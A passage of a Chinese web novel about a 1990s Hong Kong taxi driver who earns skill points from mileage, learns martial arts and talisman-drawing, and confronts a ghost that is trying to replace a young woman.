一行人沿着来路,深一脚浅一脚地走出墓园。
重新回到阳光下,众人都感觉轻松了不少,仿佛卸下了一块大石头。
回到出租车旁,郑力主动上前,掏出一张精致的名片递给古德:“古先生,今天真是麻烦你了。
这是我的名片,上面有我的Call机号和家里电话。以后如果有什么需要帮忙的,或者……遇到什么特别的事情,随时联系我。”
他笑容真诚,眼神里带着结交的意味。
古德接过名片,看了一眼,上面印着“万安殡仪馆营业主任郑力”。
他也报了自己的Call机号。
“没问题,郑先生,保持联系。”
众人上车。
古德先把张小姐送回了她住的唐楼附近,然后又把陈大昌和肾亏送回了他们的住处。
最后,才把郑力送到了万安殡仪馆门口。
“古先生,车费。”郑力又掏出一张五百元港币。
古德摆摆手:“算了,郑先生,刚才那张还没用完呢。”
他指的是早上郑力放在仪表盘上的那张。
郑力笑了笑,也没坚持,再次道谢后下了车。
等郑力走进殡仪馆大门,古德立刻把车开到路边一个相对僻静的地方停下。
他熄了火,拉上手刹,迫不及待地唤醒了脑海中的系统面板。
【行程结算】
??
起点:陈大昌住处
??
第一站:张小姐住处(九龙城)-里程:12.5公里
??
第二站:新界北公墓-里程:36.2公里
??
返程(送张小姐、陈大昌、肾亏、郑力)-里程:约47公里(含绕路)
??
总计里程:约95.2公里
??
获得点数:95.2点
??
当前可用点数:95.7点(加上昨天剩余)
看着面板上那明晃晃的“95.7点”,古德脸上露出了难以抑制的狂喜!
“大丰收!绝对是大丰收!”
他忍不住低声欢呼起来,兴奋地拍了一下方向盘。
昨天累死累活才攒了十点出头,今天这一趟下来,直接逼近一百点!
这效率,简直起飞!
他仿佛已经看到金光咒、八极拳、紫微斗数……一大堆技能在向他招手!
今天努努力,再跑几单,轻轻松松就能破百点!
到时候,就能解锁更多技能,真正踏上超凡之路了!
阳光透过车窗照在他兴奋的脸上,充满了希望。
第11章 怎么都不存在?
古德把车停在路边,迫不及待地再次唤醒了脑海中的系统面板。
他直接跳转到【人物属性】那一栏。
【姓名:古德】
体质:5/10
魅力:8/10
精神:6/10
可用点数:95.7
体质、魅力、精神这三个基础属性后面,那个灰色的“+”号果然还是没有亮起来!
古德摸了摸下巴,心里琢磨着:“看来基础属性加点,需要点数积累到一定程度才会解锁?可能是一百点?不过现在点数还不太够,而且……”
他看了一眼那95.7点,又看了看属性栏。
加点肯定是好事,体质更强,精神更高,魅力更帅,听起来都不错。
但他总觉得,在点数有限的情况下,优先提升那些能产生质变的“技能”可能更划算。
“呼吸法……八极拳……”
古德心里默念着这两个技能的名字。
呼吸法,按照前世的记忆,是道门修炼的基础,据说能蕴养精气神,甚至产生法力。
八极拳则是刚猛的外家拳法,强身健体,实战威力不小。
他有一种强烈的预感,把这两个技能点上去,不仅能提升战斗力,很可能还会反过来促进体质和精神这些基础属性的增长!
这就叫“磨刀不误砍柴工”。
“晚上凑够一百点,先看看加点需要多少。如果消耗不大,就点一下试试。如果消耗大,还是优先点技能!”古德打定了主意。
他重新发动车子,汇入车流。
下午的阳光有些刺眼,街道上车水马龙,行人匆匆。
这一天剩下的时间,古德跑得格外勤快。
他穿梭在九龙、港岛的大街小巷,机场、码头、酒店、写字楼……哪里人多去哪里。
不过,这一下午的跑车,却显得异常平静。
没有突然出现的特殊乘客,没有阴森森的鬼影,甚至连一点不寻常的动静都没发生。
就是普普通通的载客,收钱,找零,说“多谢惠顾”。
趁着等红灯、或者在加油站排队的时候,古德也跟其他几个相熟的出租佬闲聊起来。
他装作不经意地打听:
“喂,阿强,你成日跑新界那边,有没有听说过东平洲那边有个叫风叔的警察?听说很厉害的。”
开车的阿强是个老司机,叼着烟,想了想,摇头:“风叔?没听过哦。东平洲就那么点大,阿sir就那么几个,我都熟,没这号人。你问这个干嘛?”
“哦,没什么,听人提了一嘴。”古德含糊过去。
在码头等客时,他又问旁边一个常跑离岛的司机:“老马,长洲那边有没有一家药店,老板姓林,眉毛很粗连成一条线那种?他女儿很漂亮的。”
老马哈哈一笑:“靓仔,你是不是电影看多了?长洲药店是有几家,老板我都认识,没你说的那种‘一字眉’。女儿漂亮的倒是有,不过人家姓陈啦!”
古德不死心,在电台里呼叫:“各位大佬,郊区元朗那边,有没有一个叫钟发白的师傅?开小店的,人很正气的?”
电台里传来一阵杂音,然后有人回应:“发白?没听过。元朗开店的阿发我倒是认识几个,没叫发白的。”
“那……青山精神病院,有没有一个叫里昂的病人?很特别的,喜欢抱着盆花?”古德抱着最后一丝希望。
电台里沉默了几秒,然后爆发出哄笑声:“哈哈哈!古仔,你是不是昨晚没睡醒啊?青山是有个喜欢抱花的,不过是个阿婆啦!叫里昂?你以为拍《这个**不太冷》啊?”
古德被笑得有点尴尬,赶紧关掉了电台。
唯一一次有点收获的,是在中环一个路口。
他刚放下一个客人,就看到
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一个穿着交通警制服、长相有点眼熟,但比印象中更衰的年轻警察,一脸苦大仇深地骑着摩托车过来,对着他旁边一辆违规停靠的小巴开罚单。
那警察一边开单一边嘴里还碎碎念着什么,表情很是郁闷。
古德好奇地多看了两眼。
那警察似乎察觉到了,转过头来,没好气地对着古德喊道:“喂!看什么看!出租车佬!这里不准停车下客!赶紧开走!不然连你一起抄牌!”
古德赶紧点头,发动车子溜了。
他认出那警察了,周星星!
不过在这个世界,似乎只是个普通的、运气不太好的交通警?
这一圈打听下来,古德的心一点点沉了下去。
风叔、林氏药店、喷水炒糯米饭的四眼陈友、正气把方圆十里的鬼都抓完的钟发白、抓鬼神经病里昂……
这些他记忆中能对付灵异事件的高人,在这个世界似乎都不存在!
一个不好的预感在古德心中越来越强烈。
难道在这个港综灵异世界里,会真正法术的,只有他古德一个人?
至少目前看来,他完全没打听到其他类似人物的存在。
“靠……”古德忍不住低声骂了一句。
没有九叔他们罩着,以后遇到**烦,岂不是只能靠自己硬扛?
压力山大啊!
不过还有一个好消息,让他又稍微松了口气。
好消息是,他也没打听到类似《第一诫》那种恐怖片里的人物。
那种鬼附身后根本无法消灭,只能靠规则处理的绝望世界观。
要是那种情况,他这点本事,真可以洗洗睡了。
“没有大腿抱,那就自己当大腿!”
古德深吸一口气,眼神变得坚定起来。
既然没有那些前辈高人,那他就靠自己,靠这个系统,在这个诡异的世界里闯出一条路来!
第12章 加点LV2
晚上收工回家,古德匆匆煮了碗面填饱肚子,又冲了个凉水澡,洗去一天的疲惫。
他迫不及待地躺到床上,闭上眼睛,集中精神。
“查看今日结算!”
系统面板亮起:
【今日行程结算】
?6?1
上午行程(调解事件):95.2公里
?6?1
下午至晚上行程(常规载客):190.3公里
?6?1
总计获得点数:286.5点
?6?1
当前可用点数:286.5点
看着那明晃晃的“286.5点”,古德心里乐开了花!
大丰收!
绝对是大丰收!
早上还觉得95点很多,下午就直接翻了三倍!
这90年代开出租赚公里点数的效率,只要肯跑,还是相当可观的!
不过,兴奋劲很快就过去了。
他点开技能树,看着那些技能后面标注的升级点数:
LV0→LV1:10点
LV1→LV2:100点
LV2→LV3:1000点……
“286点看着多,也就够把两个技能从零升到LV2,再想往上升,就捉襟见肘了。”
古德叹了口气,“果然,点数这东西,永远不够花啊!”
再次查看了下个人面板,发现体质和精神后面的加号变亮。
属于可以加点的范围。
而魅力依旧没有变亮。
看来要加魅力的话,需要的点数更多。
虽然体质和精神的后面加号变亮,但是他不准备加在这个上面。
经过一下午的思索,他已经有了明确目标。
古德不再犹豫,意念集中在【基础吐纳导引术(呼吸法)】和【八极拳】上。
“加点!呼吸法,LV0→LV1!”
【消耗10点,基础吐纳导引术提升至LV1(入门)】
瞬间,一股关于呼吸的玄奥知识涌入脑海。
不再是前世书本上那些干巴巴的理论,而是变成了身体的本能记忆!
他仿佛已经练习了千百遍:如何舌抵上颚,如何气沉丹田,如何在吸气时想象天地灵气汇入百会,呼气时引导浊气从涌泉排出。
LV1的呼吸法,让他初步掌握了“深、长、细、匀”的呼吸节奏,能微弱地感受到体内气息的流动,小腹丹田位置隐隐有了一丝温热感。
这不再是普通的呼吸,而是开始尝试引导生命能量的运转!
“继续!呼吸法,LV1→LV2!”
【消耗100点,基础吐纳导引术提升至LV2(熟练)】
更深层次的感悟涌现!
LV2的呼吸法,不仅节奏更精准,更关键的是,他开始掌握如何在特定时辰(如子时、午时)配合特定姿势(如五心朝天)进行吐纳,效率倍增。
丹田处的温热感更加明显,仿佛有一小团微弱但真实的气流在缓缓旋转。
他甚至能模糊地感知到,随着这气流的运转,自己的精神似乎也变得更加凝聚和敏锐!
这已经是摸到了“炼精化气”的门槛,虽然还很微弱,但确确实实是在向“法力”的方向转化!
“下一个!八极拳,LV0→LV1!”
【消耗10点,八极拳提升至LV1(入门)】
刹那间,无数关于八极拳的招式、发力技巧、步法要诀如同烙印般刻入他的肌肉记忆!
不再是前世看拳谱时的纸上谈兵,而是真真切切地掌握了“撑锤”、“降龙”、“伏虎”、“劈山掌”等基础招式的标准动作和发力方式。
LV1的八极拳,让他从一个理论派,变成了一个能标准打出套路,懂得“沉肩坠肘、含胸拔背、气沉丹田”基本要诀的入门武者。
身体肌肉似乎也得到了一次锤炼,变得更加协调有力。
“最后!八极拳,LV1→LV2!”
【消耗100点,八极拳提升至LV2(熟练)】
更精深的奥义涌现!
LV2的八极拳,不仅招式更加纯熟流畅,更重要的是掌握了核心的“六合劲”,心与意合,意与气合,气与力合;手与足合,肘与膝合,肩与胯合!
他懂得了如何在出拳踢腿时,调动全身筋骨肌肉的力量,拧腰转胯,瞬间爆发,打出“崩撼突击”的穿透性力量!
同时,呼吸法与拳法的初步结合也出现了。
在发力瞬间配合短促的“哼哈”二气,能进一步激发潜能!
此刻的古德,感觉自己浑身充满了力量,筋骨似乎都强壮了一分,身体协调性和反应速度也有了显著提升。
这已经是一个能实战的练家子了!
加点完成,古德长长地吐出一口气,这口气悠长而沉稳,带着一种奇特的韵律。
他感觉身体里暖洋洋的,丹田处那团微弱的气流在缓缓流转,同时四肢百骸又充满了**性的力量感。
精神和身体都处于一种前所未有的充实状态。
“爽!”古德忍不住低喝一声。
虽然一下子花掉了220点(10+100+10+100),但这种实力肉眼可见提升的感觉,实在太棒了!
他闭上眼睛,仔细体会着身体的变化。
呼吸变得悠长而富有节奏,每一次吸气都仿佛能汲取到一丝微弱的能量,每一次呼气都排出些许疲惫。
肌肉筋骨间
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充满了力量,仿佛随时可以爆发出惊人的破坏力。
精神也格外清明,思维更加敏捷。
“有了这呼吸法和八极拳打底,总算有点自保的本钱了。”古德心中踏实了不少。
他相信,随着呼吸法的持续修炼,那丹田中的微弱气流会越来越强。
而LV2的八极拳,也足以应对一些物理层面的威胁。
加点带来的充实感让古德精神亢奋,一时半会儿睡不着。他又重新调出系统面板,仔细研究起来。
【姓名:古德】
体质:5/10
魅力:8/10
精神:6/10
法力:0/10
可用点数:66.5
体质和精神数值纹丝未动,并没有因为呼吸法和八极拳的提升而自动增长。
看来单纯加点技能,并不会直接反馈到基础属性上,还需要身体和精神去适应和转化。
但让他意外的是,面板上多了一个全新的参数——法力!
虽然数值是刺眼的“0”,但这无疑是个巨大的惊喜!
“法力!”
古德眼睛一亮,“没想到加点呼吸法,还有这个意外收获!看来LV2的呼吸法,已经开始引导精气转化,摸到了法力的门槛了!”
这意味着什么?
意味着他以后可能有两种方式提升法力!
一种是按部就班地修炼呼吸法,慢慢积累;另一种,就是直接消耗宝贵的公里点数,在系统面板上加点!
如果能直接加点法力,那效率绝对比苦修快得多!
“双管齐下!”古德立刻打定主意。
修炼不能停,点数也要赚!
两条腿走路才稳当!
他看着剩下的66.5点,心里盘算着。
这点数,足够把六个LV0的技能点到LV1入门。
或者存起来,等攒够100点,再点一个技能到LV2。LV2的技能效果,肯定比LV1强不少。
“现在好像也没什么特别紧急的情况……”
古德琢磨着,“辟邪符暂时够用,八极拳和呼吸法也刚升级,需要时间消化。这点数……还是先存着吧,等需要的时候再用,或者攒多点直接点LV2更划算。”
打定主意后,他拿出黄纸朱砂,趁着加点后精神头还不错,一口气又画了三张辟邪符。
画完最后一张,他感觉脑袋有点发沉,眼皮也开始打架了。
消耗精气神的感觉又回来了。
他赶紧去厨房,把剩下的半只烧鹅和两个菠萝包都塞进了肚子,又灌了一大杯凉水。
肚子里有了食,那股疲惫感才稍微缓解了一些。
他草草洗漱了一下,倒头就睡。
第13章 这是遇到女鬼了?
第二天一早,天刚蒙蒙亮,古德就醒了。
精神出奇的好,感觉浑身充满了力气。
他换上宽松的衣服,在狭小的客厅里打了一套LV2的八极拳。
拳风呼呼作响,步法沉稳有力,崩拳、劈掌、顶肘,一招一式都带着一股凌厉的劲道。
打完收功,浑身微微发热,气息悠长,感觉状态前所未有的好。
“开工!”
他精神抖擞地出门,发动了他的红色皇冠出租车,再次汇入香港清晨的车流之中。
这一天似乎又是风平浪静。
他穿梭在熟悉的街道上,载着形形**的客人,听着电台里播放的粤语老歌,看着窗外九十年代香港特有的繁华景象。
阳光明媚,车水马龙,仿佛昨天遇到的鬼婆婆和墓园里的百鬼围观都只是一场梦。
就在古德以为今天又会这么平淡而安全地度过时,傍晚时分,他在铜锣湾时代广场附近接到了两个女乘客。
后车门拉开,两个年轻靓丽的女孩坐了进来。
其中一个留着柔顺的长发,面容清秀温婉,气质恬静,眉眼间竟有几分像他前世记忆里的女演员书琪。
另一个则是一头利落的短发,五官明艳,笑容爽朗,带着一股英气,活脱脱就是年轻版袁咏衣的模样!
短发袁咏衣一上车就活泼地报出地址:“师傅,去旺角西洋菜街南,嘉禾大厦!”
“好的。”
古德应了一声,发动车子,朝着旺角方向驶去。
他心里却在飞快地搜索着记忆:书琪?袁咏衣?
她们一起出现在哪部港产鬼片里来着?
虽然他喜欢看恐怖片,但是看的电影太多了,现在印象有点模糊了。
车子平稳行驶。
后座的两个女孩聊起天来,主要是短发“袁咏衣”在叽叽喳喳地说个不停,讲着公司里的趣事,吐槽着老板。
长发“书琪”则安静地听着,偶尔抿嘴轻笑,笑容温婉,但眼神深处似乎藏着一丝不易察觉的阴狠和幽怨。
古德一边开车,一边通过后视镜不着痕迹地观察着她们。
等红灯的时候,旁边一辆同样等红灯的出租车摇下了车窗。
开车的是个五十岁左右的大叔,头发有点乱糟糟的,脸上带着跑夜车特有的疲惫。
他是古德认识的同行,叫**。
“哟!德仔!”
**对着古德咧嘴一笑,露出一口被烟熏黄的牙齿,“今天运气不错啊!拉了个这么靓的靓女!”
他说话时,目光只落在短发“袁咏衣”身上。
古德笑着回了一句:“大海哥,收工没啊?”
心里却咯噔一下!
不对劲!
他后座有两个人,怎么只说他拉了一个靓女?
难道……他看不到另一个?
绿灯亮了,古德踩下油门,车子驶过路口。
他立刻集中精神,再次通过后视镜仔细观察后座的两个女孩。
他的阴阳眼都能看到她们,这没问题。
但为什么大海哥看不到?
看来是因为自己的阴阳眼缘故。
就是这两个女生,到底哪个是鬼?
古德的心提了起来。
他目前更倾向长发的书琪是鬼。
因为她前世还是演过很多鬼。
接着古德仔细观察着“书琪”。
她的皮肤在傍晚的光线下显得有些过于苍白,嘴唇的颜色也淡得几乎没有血色。
她安静地坐着,身体几乎没什么起伏,呼吸似乎也微弱得难以察觉。
最重要的是,她身上似乎萦绕着一股若有若无的、阴冷的气息,和周围鲜活的世界格格不入。
“靠……难道她真是鬼?”古德心里暗骂一声。
要是自己法力再高深一点,或者阴阳眼等级更高,应该能更清晰地分辨出对方身上的阴气。
现在只能靠感觉猜测。
就在他暗中观察之际,后视镜里,那个长发“舒淇”似乎察觉到了他的目光。
她原本低垂的眼帘缓缓抬起,目光透过倒车镜片,直直地“看”向古德的眼睛。
下一秒,让古德头皮发麻的一幕出现了!
后视镜里,那张原本清秀温婉的脸庞,瞬间变得铁青!
皮肤像是覆盖了一层青灰色的死气,眼窝深陷下去,嘴唇乌黑,整张脸扭曲变形,充满了怨毒和警告!
古德握着方向盘的手猛地一紧,但随即又放松下来。
他深吸一口气,压下心头的悸动。
怕什么?
怀里还揣着好几张辟邪符呢!
就在这时,一个冰冷、飘忽、如同直接在耳蜗里响起的声音钻进了他的耳朵:“的士佬……别多管闲事……”
声音阴森森的,带着不容置疑的威胁。
古德眉头一挑,嘴角勾起一丝冷笑。
嘿!威胁我?
老子吃软不吃硬!
你越是这样,老子越要管!
车子很快开到了旺角西洋菜街南的嘉禾大厦楼下。
这是一栋有些年头的公寓楼,外墙斑驳,楼
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下开着各种小店,人来人往。
短发“袁咏衣”付了车钱,准备下车。
长发“书琪”也跟着起身,但在下车前,又透过车窗,用那双恢复了正常但依旧冰冷的眼睛,狠狠地瞪了古德一眼。
古德嘿嘿一笑,毫不在意。
他迅速从驾驶座旁边的小本子上撕下一张纸,唰唰写下自己的Call机号码,然后摇下车窗,叫住了正要离开的短发女孩。
“靓女,等一下。”
古德把纸条递过去,脸上带着职业性的微笑,语气却带着几分认真。
“我看你气色不太好,印堂……有点发暗。最近可能会遇到些不顺心的事,或者……不太干净的东西。
我会一点玄学手段,如果真遇到什么解决不了的麻烦事,可以Call我。收费合理,童叟无欺。”
短发“袁咏衣”愣了一下,看着古德递过来的纸条,又看看他帅气的脸,第一反应是遇到了又一个想搭讪的的士佬。
她下意识地就想拒绝丢掉。
但就在她抬手要扔的时候,脑海里突然闪过昨天她遇到了一个神父,也跟她说过一样的话。
她的手顿住了。
犹豫了一下,她最终还是把纸条塞进了随身的小挎包里,敷衍地说了一句:“哦,知道了,谢谢师傅。”
然后拉着长发“书琪”的手,快步走进了嘉禾大厦。
古德看着她们消失在楼道口,并没有立刻离开。
他点了一支烟,靠在椅背上,目光若有所思。
突然,大厦入口的阴影处,那个长发“书琪”的头颅,以一种完全违反人体结构的方式,猛地一百八十度旋转了过来!
脖子像拧麻花一样,脸正对着车里的古德!
那张脸再次变得铁青扭曲,乌黑的嘴唇无声地开合,吐出几个冰冷的字眼:“别……找……死……”
说完,她的头又“咔哒”一声,转了回去,仿佛什么都没发生过,跟着短发女孩消失在楼道深处。
古德叼着烟,看着那空荡荡的楼道口,无所谓地耸了耸肩,把烟头弹出窗外。
“谁找死,还不一定呢。”
他低声自语,眼神里闪过一丝冷意。
敢威胁他?还想害人找替身?门都没有!
他发动车子,红色的出租车再次汇入车流。
今晚的目标很明确:多跑几单,多赚公里点数!
他要尽快把点数攒起来,学几个更厉害的驱邪技能!
到时候,看看到底是谁收拾谁!
第14章 新技能加点
送走那对特殊乘客后,古德没有立刻收工。
他又在市区里跑了几个短途,直到夜色渐深,肚子咕咕叫了,才把车开到熟悉的“荣记茶餐厅”。
店里人不多,阿珍正百无聊赖地擦着桌子。
看到古德进来,她眼睛一亮:“古哥,今天这么晚?还是老样子?”
“嗯,干炒牛河,加杯冻柠茶。”
古德找了个靠窗的位置坐下,感觉身体有些疲惫,但精神却很亢奋。
今天遇到那个女鬼,虽然没动手,但那种无形的对峙和威胁,反而激起了他的斗志。
阿珍很快把热腾腾的炒河粉和冰凉的柠檬茶端了上来。
古德狼吞虎咽地吃完,食物下肚,驱散了些许疲惫。
他结了账,跟阿珍打了个招呼,便开车回家。
回到阴阳路37号,停好车,古德没有立刻上楼。
他靠在车门上,点燃一支烟,抬头看了看被城市灯光映得有些发红的夜空。
深吸一口烟,再缓缓吐出,尼古丁让他紧绷的神经稍微放松了一些。
回到家里,他第一时间唤醒了系统面板。
【今日行程结算】
常规载客里程:305.2公里
获得点数:305.2点
昨日剩余点数:66.5点
当前可用点数:371.7点
看着那371.7点,古德脸上露出了满意的笑容。
比昨天还多!
这开出租赚点数的效率,只要肯跑,确实可观。
他先点开【人物属性】面板:
体质:5/10
:8/10
精神:6/10
法力:0/10
体质、精神后面的“+”号依旧亮着,但魅力和法力后面的“+”号还是灰暗的,无法加点。
“看来魅力和法力加点需要的门槛更高……”古德摸着下巴思索,“可能得攒够一千点?”
不过就算魅力值现在可以加,但古德现在对变得更帅兴趣不大,他需要的是实打实的战斗力!
随后他不再纠结,转而点开【技能树】面板。
现在点数充裕,他决定优先提升符箓技能。
辟邪符(LV1)暂时够用,对付普通小鬼没问题。
但遇到像今天这种能直接传音威胁、还能变化形态的鬼怪,就显得有些力不从心了。
他需要更强大、更专业的符箓!
他的目光在技能树上扫过,最终锁定了三个目标:
护身符(LV0):道教基础防护符箓之一。
效果:贴身佩戴,可形成微弱护体灵光,抵御阴气、煞气、低级邪祟的直接侵袭和精神干扰。
斩鬼符(LV0):攻击型符箓。
效果:以灵力激发,可化为一道破邪金光,对阴魂鬼物造成直接伤害,对怨气深重的鬼怪效果更佳。
化煞符(LV0):功能型符箓。
效果:可化解特定区域的阴煞之气、怨念残留,净化小型灵异场域(如凶宅一角、闹鬼房间)。
实乃居家旅行,净化环境必备。
“就这三个了!”
古德下定决心。
护身保命,斩鬼攻击,化煞清场,功能互补,组合起来效果更佳!
想到这里,古德意念集中,加点开始!
加点护身符LV0→LV1(消耗10点)
瞬间,关于护身符的种种精要涌入脑海:符胆结构需蕴含“护”、“罡”、“宁”三字真意;符文线条需圆融流畅,形成闭环,象征“金钟罩体”.
绘制时需存思自身被金光笼罩,意念灌注笔端……不再是简单的图形,而是蕴含了守护真意的符文回路!
继续加点护身符LV1→LV2(消耗100点)
随后更深层次的感悟涌现!
LV2的护身符,不仅符文结构更加精妙复杂,更重要的是掌握了“引气入符”的关键!
绘制时需配合特定的呼吸节奏,引导法力注入符胆核心,没有法力可以用精气神代替,使其真正具备“灵性”,护体效果倍增!
持续时间也更长!
接着加点斩鬼符LV0→LV1(消耗10点)
凌厉的杀伐之意涌入心神!
斩鬼符讲究“锋”、“破”、“灭”!
符文线条需如刀锋般锐利,转折处需蕴含爆发力;符胆需凝聚“破邪”真意;绘制时需存思雷霆之威,意念需充满一往无前的决绝!
继续加点斩鬼符LV1→LV2(消耗100点)
LV2的斩鬼符,威力更甚,掌握了“凝煞成锋”的技巧!
绘制时需在朱砂中融入一丝自身精血(或至阳之物如鸡冠血),使符箓蕴含更强的破邪煞气!
激发时金光更盛,穿透力更强,对鬼怪的杀伤力显著提升!
最后是加点化煞符LV0→LV1(消耗10点)
化煞符温和而宏大的净化之意弥漫心间。
化煞符讲究“净”、“散”、“安”!
符文需如流水般柔和,形成“净化场”;符胆需蕴含“清净”真意;绘制时需存思甘露洒净,洗涤污秽,意念需平和而坚定。
继续加点化煞符LV1→LV2(消耗100点)
LV2的化煞符,范围更大,效果更
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强!
掌握了“引煞入符”的窍门!
绘制时需要将符文绘制成类似“漩涡”的结构,能驱散化解一定范围内的阴煞怨气,也能变成符水驱散人体内的阴煞怨气。
净化效率大大提高!
加点完成!
总共消耗330点(10+100+10+100+10+100),可用点数还剩41.7点。
古德感觉脑袋有点发胀,一下子接收这么多符箓精义,信息量巨大。
但他精神却异常振奋!
立刻拿出黄纸、朱砂、符笔,准备实践!
他先画护身符。
LV2的护身符绘制难度明显提升。
他凝神静气,调整呼吸,意念高度集中,引导着体内的精气神缓缓注入笔尖。
笔走龙蛇,符文一气呵成!
当最后一笔落下时,符纸上隐约闪过一丝微不可察的金光,随即隐没。
成了!
一张LV2护身符!
接着是斩鬼符。
绘制时,他感觉精神消耗更大,那股凌厉的杀伐之意仿佛要破纸而出。
他再次刺破手指,挤出一滴血融入朱砂。
笔锋落下,带着一股锐气!
符成之时,朱砂符文仿佛有血光流转,透着一股慑人的寒意。
LV2斩鬼符!
最后是化煞符。
绘制过程相对平和,但需要更细腻的意念控制,去模拟那种“净化”的场域感。
符成时,符纸散发出一股淡淡的、令人心安的清新气息。
LV2化煞符!
三张符画完,古德感觉像是连续打了三场高强度拳赛,浑身大汗淋漓,脑袋嗡嗡作响,眼前都有些发黑。
他扶着桌子才站稳。
“靠……消耗这么大?”
古德喘着粗气,心里暗惊。
LV2的符箓,对精气神的消耗远超LV1的辟邪符!
而且这三种符的消耗还不一样,斩鬼符消耗最大,护身符次之,化煞符相对小一些。
他瘫坐在椅子上,缓了好一会儿才恢复一点力气。
赶紧去厨房,把冰箱里剩的叉烧、面包、牛奶全扫荡一空。
肚子里有了食物,那股强烈的空虚感和疲惫感才慢慢消退。
“看来光靠加点技能还不够……”
古德摸着还有些发晕的脑袋,“必须尽快提升法力!或者提升体质和精神,增加‘红条’和‘精神力上限’!不然画几张符就得歇菜,太耽误事了。”
他决定,接下来几天,除了继续跑车赚点数,更要勤加修炼呼吸法!
同时也要注意食补,强健体魄。
第15章 来自电话那头的求救
接下来的两天,古德的生活变得规律而充实。
白天,他开着出租车穿梭在香港的大街小巷,目标明确——多拉客,多跑路,赚公里点数!
他熟悉路况,服务态度好,毕竟那魅力8点不是盖的,加上一点小运气,每天的公里数都相当可观。
两天下来,分别赚了260点和300点公里数!
加上之前剩下的41.7点,总点数达到了601.7点!
晚上回家,他雷打不动地做三件事:
先是修炼呼吸法,在每日画符前盘膝而坐,五心朝天,按照LV2的吐纳导引术,引导体内那微弱的气流在特定经脉中缓缓运转。
每一次呼吸,都感觉丹田处的温热感增强一丝,精神也更加凝聚。
虽然法力值面板上依旧是“0”,但他能感觉到那股气流在缓慢壮大、凝实。
接着是练习八极拳和画符。
八极拳是早上练的,符箓根据当天恢复的精气神情况,选择画1-2张符箓,主要是护身符和斩鬼符,化煞符用得少。
画符的过程也是对精神和意念的锤炼。
这两天,他惊喜地发现,不间断的八极拳锻炼加上充足的营养补充,他的体质属性竟然从5点提升到了6点!
这相当于省下了100点宝贵的公里数!
体质提升带来的好处立竿见影!
最明显的变化就是,他每天画符的“续航能力”大大增强了!
之前画完三张LV2符箓就累得像条死狗,现在体质提升后,他感觉精力更加充沛,精神恢复也更快。
现在他每天可以稳定地画出一张护身符、一张斩鬼符,甚至还能再画一张化煞符!
效率翻倍!
这天晚上,古德刚结束一轮呼吸法的修炼,感觉神清气爽,丹田处的气流似乎又壮大了一丝。
他正准备起身去冲个凉,然后画今天的符箓。
“哔哔哔!哔哔哔!”
别在腰间的Call机突然急促地响了起来,打破了夜晚的宁静。
古德眉头微皱,这么晚了,谁会Call他?
他拿起Call机一看,屏幕上显示着一个陌生的号码,后面跟着“急”和“复电”的代码。
他走到客厅,拿起那部老式拨盘电话,按照号码回了过去。
电话几乎是瞬间就被接通了。
“喂?是……是古大师吗?”
听筒里传来一个年轻女人带着哭腔、极度惊恐的声音,声音颤抖得厉害,充满了无助和绝望。
古德觉得这声音有点耳熟。
“是我,古德。你是?”
“是我!我是那天坐你车去嘉禾大厦的!旺角西洋菜街南那个!您……您还记得我吗?您说我最近会出事,还给过我Call机号的!”
女人的声音带着哭喊,“救救我古大师!我身边的人都不认识我了!阿琪她是鬼,她要替代我!”
古德挑了挑眉,心里暗道一声侥幸。
幸好这电话来得及时,要是等他画完符,精气神消耗过大,今晚这活儿可就接不了了。
他对着电话那头,语气平静但不容置疑:“把地址给我。还有,事成之后,报酬一万二港币。”
这个价格是他仔细考虑过的。
上次处理阿婆的事,属于调解性质,对方也并不想害人,收费五千算合理。
这次明显是怨鬼害人,危险性高,自然要按“高标准”收费。
电话那头的女人此刻早已吓得六神无主,别说一万二,就是翻倍她也愿意。
她忙不迭地答应:“好好好!没问题!大师您快来!地址是浅水湾道XX号!”
浅水湾别墅区?
古德记下地址,没多问。
他挂掉电话,迅速检查了一下自己的装备:三张新画的LV
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2符箓(护身、斩鬼、化煞)贴身放好,还有之前画的辟邪符,加上一小袋糯米和食盐。
想了想,又把平时放在车里防身的一根短小的精钢甩棍别在了后腰。
有备无患。
发动车子,红色的出租车驶出阴阳路,朝着港岛南区的浅水湾开去。
路上,夜晚的凉风透过车窗吹进来,古德的脑子也越发清晰。
“找替身……长相相似……逐渐取代……”
他一边开车,一边努力回忆,“好像是……《怪谈协会》里的一个单元故事?对!就是它!”
他终于想起来了。
这部电影里确实有袁永姨和书琪,讲的就是一个女鬼找替身,逐渐取代原主的故事。
里面的细节他记不太清了,但大概套路就是这样。
具体情况,还得当面问那个女人。
车子开进幽静雅致的浅水湾道,沿着蜿蜒的山路行驶,两旁是绿树掩映中的一栋栋豪华别墅。
找到门牌号,古德把车停在一栋灯火通明的双层欧式别墅门外。
他刚下车,别墅的铁门就打开了。
那个短发像袁咏仪的女生,一脸惊慌失措地跑了出来。
她身后还跟着一个人。
那人身材高大魁梧,剃着光头,在别墅的灯光下脑袋锃亮。
他穿着一身略显紧绷的黑色神父袍,脖子上挂着十字架,手里还捧着一本厚厚的圣经,脸上带着一种努力做出的庄严表情。
古德看到这人,嘴角忍不住抽搐了一下。
好家伙,这不是那位号称“不好女色”的徐晋江吗?
他演过不少经典角色。
他回忆了一下电影,里面确实有个神父,看起来像是有点驱魔知识,但也就有点,不过...
古德眼里闪过一丝寒光。
但是他并没有表现出什么。
“大师!您终于来了!”
第16章 我一眼就看出来,你不是人
袁小敏看到古德,就像看到了救命稻草,几乎是扑过来的。
她脸色苍白,眼睛红肿,显然哭了很久。
她抓住古德的胳膊,语无伦次地急声问:“大师!您还认得我吗?是我Call您的!我是短头发的这个!不是那个长头发的!您……您不会认错吧?您一定要认得我啊!”
古德被她晃得有点晕,抬手打断她的话,语气沉稳:
“这位小姐,冷静点。我自然认得你,上次坐我车,短头发,很活泼那个。
我也知道你旁边那个长头发的不是人。我当时提醒过你,可惜你没当真。现在说说吧,到底怎么回事?”
女人听到古德清晰无误地认出自己,并且直接点破阿琪是鬼,脸上顿时露出绝处逢生的巨大惊喜,眼泪又涌了出来:“大师!您真是高人!我……我真是蠢**!”
她深吸一口气,努力平复情绪,开始讲述:“大师,我叫袁小敏。前段时间因为我男朋友经常去国外出差,我一个人住这大房子,实在太孤单害怕了。
他就建议我……招个女租客陪我住,也能分摊点开销。我……我就听了他的话,在报纸上登了招租广告。”
“后来,就招到了阿琪。她……她跟我长得有几分像,身材也差不多,说话温温柔柔的。我看她挺顺眼,就让她住进来了。
就是上次您见到的那次,我是带她去我工作的广告公司,让她陪着我拍下广告。”
“但是……但是自从她住进来后,奇怪的事情就越来越多!”
